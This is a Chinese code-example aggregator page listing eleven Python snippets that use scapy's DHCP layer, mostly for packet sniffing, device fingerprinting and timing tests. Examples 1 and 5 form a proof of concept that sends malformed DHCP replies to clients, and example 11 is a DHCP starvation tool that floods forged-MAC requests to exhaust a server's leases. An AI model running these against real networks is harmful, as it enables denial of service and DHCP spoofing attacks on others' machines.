當前位置: 首頁>>代碼示例>>Python>>正文


Python all.DHCP屬性代碼示例

本文整理匯總了Python中scapy.all.DHCP屬性的典型用法代碼示例。如果您正苦於以下問題:Python all.DHCP屬性的具體用法?Python all.DHCP怎麽用?Python all.DHCP使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在scapy.all的用法示例。


在下文中一共展示了all.DHCP屬性的11個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: build_dhcp

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def build_dhcp(pdiscover):
    req_addr = None
    server_id = None
    vendor_class = None
    try:
        for m in pdiscover[DHCP].options:
            n, v = m
            if n == "requested_addr":
                req_addr = v
            elif n == "server_id":
                server_id = v
            elif n == "vendor_class_id":
                vendor_class = v
    except:
        pass
    print "[i] --> received vendor_class = %s" % vendor_class
    e_dst = pdiscover[Ether].src

    p = Ether(dst=e_dst) / IP(src=server_id, dst=req_addr or "0.0.0.0") / UDP(sport=67, dport=68, len=9000)
    p[UDP].chksum = get_udp_checksum(p)
    return p 
開發者ID:tintinweb,項目名稱:pub,代碼行數:23,代碼來源:poc.py

示例2: scapy_send_arp_requests

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def scapy_send_arp_requests(number_of_packets):
    arp_request = Ether(src=ethernet_src, dst='ff:ff:ff:ff:ff:ff') /\
                  ARP(op=1, hwsrc=ethernet_src, hwdst='00:00:00:00:00:00', psrc=ip_src, pdst=ip_dst)
    sendp(arp_request, count=number_of_packets, verbose=False)
# endregion


# region Send DHCP Discover packets in raw-packet 
開發者ID:raw-packet,項目名稱:raw-packet,代碼行數:10,代碼來源:time_test.py

示例3: raw_packet_send_dhcp_discover_requests

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def raw_packet_send_dhcp_discover_requests(number_of_packets):
    for _ in range(number_of_packets):
        dhcp_discover_request = dhcp.make_discover_packet(ethernet_src_mac=ethernet_src,
                                                          ethernet_dst_mac="ff:ff:ff:ff:ff:ff",
                                                          ip_src="0.0.0.0", ip_dst="255.255.255.255",
                                                          udp_src_port=68, udp_dst_port=67,
                                                          transaction_id=randint(1, 4294967295),
                                                          client_mac=ethernet_src,
                                                          host_name="time_test")
        global_socket.send(dhcp_discover_request)
# endregion


# region Send DHCP Discover packets in scapy 
開發者ID:raw-packet,項目名稱:raw-packet,代碼行數:16,代碼來源:time_test.py

示例4: scapy_send_dhcp_discover_requests

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def scapy_send_dhcp_discover_requests(number_of_packets):
    for _ in range(number_of_packets):
        dhcp_discover_request = Ether(src=ethernet_src, dst='ff:ff:ff:ff:ff:ff') /\
                                IP(src='0.0.0.0', dst='255.255.255.255') /\
                                UDP(dport=67, sport=68) /\
                                BOOTP(chaddr=ethernet_src, xid=randint(1, 4294967295)) /\
                                DHCP(options=[('message-type', 'discover'), 'end'])
        sendp(dhcp_discover_request, verbose=False)
# endregion


# region Send DNS Request packets in raw-packet 
開發者ID:raw-packet,項目名稱:raw-packet,代碼行數:14,代碼來源:time_test.py

示例5: detect_dhcp

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def detect_dhcp(p):
    print "[i] --> packet matched bpf"
    if BOOTP not in p or p[UDP].sport != 68 or p[UDP].dport != 67:
        print "[!] --> skipping unexpected packet"
        #p.show()
        return

    print "[i] got DHCP request"
    p.show()
    print "[+] building malformed reply ..."
    reply = build_dhcp(p)
    reply.show()
    print "[+] sending malformed reply ..."
    sendp(reply, iface=conf.iface, verbose=True) 
開發者ID:tintinweb,項目名稱:pub,代碼行數:16,代碼來源:poc.py

示例6: _packet_handler

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def _packet_handler(self, pkt):
        try:
            if pkt.haslayer(DHCP):
                self._handle_dhcp(pkt)
            elif pkt.haslayer(UDP) and pkt[UDP].dport == 1900:
                self._handle_ssdp(pkt)
        except Exception as e:
            self.logger.error("Failed to handle packet")
            self.logger.exception(e) 
開發者ID:usableprivacy,項目名稱:upribox,代碼行數:11,代碼來源:sniff_thread.py

示例7: _handle_dhcp

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def _handle_dhcp(self, pkt):
        # self.logger.error(pkt[DHCP].command())
        params = {}
        params['mac'] = str(":".join(hexstr(pkt[BOOTP].chaddr, onlyhex=True).split(" ")[:6])).lower()

        for entry in pkt[DHCP].options:
            if entry[0] == "message-type":
                params['message-type'] = entry[1]
            elif entry[0] == "vendor_class_id":
                # self.logger.info("%s %s", entry[0], entry[1])
                params['dhcp_vendor'] = entry[1]
            elif entry[0] == 'requested_addr':
                params['ip'] = entry[1]
            elif entry[0] == 'hostname':
                params['hostname'] = entry[1]
            elif entry[0] == 'param_req_list':
                # DHCP fingerprint in fingerbank format
                params['dhcp_fingerprint'] = ",".join([str(int(num, 16)) for num in hexstr(entry[1], onlyhex=True).split(" ")])

        if params.get('message-type', 0) == 3 and check_preconditions(params.get('ip', None), params.get('mac', None)):
            try:
                insert_or_update_fingerprint(self.conn, **params)
                self.logger.debug("registered dhcp: ip: {}, mac: {}".format(params.get('ip', None), params.get('mac', None)))
            except TypeError as te:
                self.logger.error(insert_or_update_fingerprint.__name__ + " needs keyword-only argument ip")
            except sqlite3.Error as sqle:
                self.logger.exception(sqle)
            except ValueError as ve:
                self.logger.exception(ve) 
開發者ID:usableprivacy,項目名稱:upribox,代碼行數:31,代碼來源:sniff_thread.py

示例8: cmd_dhcp_discover

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def cmd_dhcp_discover(iface, timeout, verbose):
    """Send a DHCP request and show what devices has replied.

    Note: Using '-v' you can see all the options (like DNS servers) included on the responses.

    \b
    # habu.dhcp_discover
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP
    """

    conf.verb = False

    if iface:
        iface = search_iface(iface)
        if iface:
            conf.iface = iface['name']
        else:
            logging.error('Interface {} not found. Use habu.interfaces to show valid network interfaces'.format(iface))
            return False

    conf.checkIPaddr = False

    hw = get_if_raw_hwaddr(conf.iface)

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    ip = IP(src="0.0.0.0",dst="255.255.255.255")
    udp = UDP(sport=68,dport=67)
    bootp = BOOTP(chaddr=hw)
    dhcp = DHCP(options=[("message-type","discover"),"end"])

    dhcp_discover = ether / ip / udp / bootp / dhcp

    ans, unans = srp(dhcp_discover, multi=True, timeout=5)      # Press CTRL-C after several seconds

    for _, pkt in ans:
        if verbose:
            print(pkt.show())
        else:
            print(pkt.summary()) 
開發者ID:fportantier,項目名稱:habu,代碼行數:41,代碼來源:cmd_dhcp_discover.py

示例9: _process_packet_helper

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def _process_packet_helper(self, pkt):

        if sc.ARP in pkt:
            return self._process_arp(pkt)

        if sc.DHCP in pkt:
            return self._process_dhcp(pkt)

        # SYN-ACK response to SYN scans
        if sc.TCP in pkt and pkt[sc.TCP].flags == 'SA' and sc.IP in pkt:
            tcp_layer = pkt[sc.TCP]
            if tcp_layer.dport == SYN_SCAN_SOURCE_PORT and tcp_layer.ack == SYN_SCAN_SEQ_NUM + 1:
                return self._process_syn_scan(pkt)

        # Must have Ether frame and IP frame.
        if not (sc.Ether in pkt and sc.IP in pkt):
            return

        src_mac = pkt[sc.Ether].src
        dst_mac = pkt[sc.Ether].dst

        src_oui = utils.get_oui(src_mac)
        dst_oui = utils.get_oui(dst_mac)

        # Include only devices for internal testing (if set)
        if utils.TEST_OUI_LIST:
            if not (src_oui in utils.TEST_OUI_LIST or
                    dst_oui in utils.TEST_OUI_LIST):
                return

        # Ignore traffic to and from this host's IP
        if self._host_state.host_ip in (pkt[sc.IP].src, pkt[sc.IP].dst):
            return

        # DNS
        if sc.DNS in pkt:
            self._process_dns(pkt)

        # Commented out the following. We want to see traffic between device and gateway.
        # # Ignore traffic to and from the gateway's IP
        # if self._host_state.gateway_ip in (pkt[sc.IP].src, pkt[sc.IP].dst):
        #    return

        # TCP/UDP
        if sc.TCP in pkt:
            protocol = 'tcp'
        elif sc.UDP in pkt:
            protocol = 'udp'
        else:
            return

        return self._process_tcp_udp_flow(pkt, protocol) 
開發者ID:noise-lab,項目名稱:iot-inspector-client,代碼行數:54,代碼來源:packet_processor.py

示例10: _process_dhcp

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def _process_dhcp(self, pkt):
        """
        Extracts the client hostname from DHCP Request packets.

        """
        try:
            option_dict = dict(
                [t for t in pkt[sc.DHCP].options if isinstance(t, tuple)]
            )

        except Exception:
            return

        try:
            device_hostname = option_dict.setdefault('hostname', '').decode('utf-8')
        except Exception:
            device_hostname = ''
        resolver_ip = option_dict.setdefault('name_server', '')

        with self._host_state.lock:

            if device_hostname:

                # Must be a DHCP Request broadcast
                if pkt[sc.Ether].dst != 'ff:ff:ff:ff:ff:ff':
                    return

                device_mac = pkt[sc.Ether].src
                device_id = utils.get_device_id(device_mac, self._host_state)

                self._host_state.pending_dhcp_dict[device_id] = device_hostname
                utils.log('[UPLOAD] DHCP Hostname:', device_hostname)

            if resolver_ip:

                # DHCP Offer broadcast
                if pkt[sc.Ether].dst == 'ff:ff:ff:ff:ff:ff':
                    device_id = 'broadcast'

                # DHCP ACK from router to device. The following block may not
                # actually be called at all, because the router is likely to
                # send the ACK packet directly to the device (rather than arp
                # spoofed)
                else:
                    device_ip = pkt[sc.IP].dst
                    try:
                        device_mac = self._host_state.ip_mac_dict[device_ip]
                    except KeyError:
                        return
                    device_id = utils.get_device_id(
                        device_mac, self._host_state)

                self._host_state.pending_resolver_dict[device_id] = \
                    resolver_ip

                utils.log(
                    '[UPLOAD] DHCP Resolver:', device_id, '-', resolver_ip) 
開發者ID:noise-lab,項目名稱:iot-inspector-client,代碼行數:59,代碼來源:packet_processor.py

示例11: cmd_dhcp_starvation

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import DHCP [as 別名]
def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose):
    """Send multiple DHCP requests from forged MAC addresses to
    fill the DHCP server leases.

    When all the available network addresses are assigned, the DHCP server don't send responses.

    So, some attacks, like DHCP spoofing, can be made.

    \b
    # habu.dhcp_starvation
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
    """

    conf.verb = False

    if iface:
        iface = search_iface(iface)
        if iface:
            conf.iface = iface['name']
        else:
            logging.error('Interface {} not found. Use habu.interfaces to show valid network interfaces'.format(iface))
            return False

    conf.checkIPaddr = False

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    ip = IP(src="0.0.0.0",dst="255.255.255.255")
    udp = UDP(sport=68, dport=67)
    dhcp = DHCP(options=[("message-type","discover"),"end"])

    while True:
        bootp = BOOTP(chaddr=str(RandMAC()))
        dhcp_discover = ether / ip / udp / bootp / dhcp
        ans, unans = srp(dhcp_discover, timeout=1)      # Press CTRL-C after several seconds

        for _, pkt in ans:
            if verbose:
                print(pkt.show())
            else:
                print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%"))

        sleep(sleeptime) 
開發者ID:fportantier,項目名稱:habu,代碼行數:46,代碼來源:cmd_dhcp_starvation.py


注:本文中的scapy.all.DHCP屬性示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。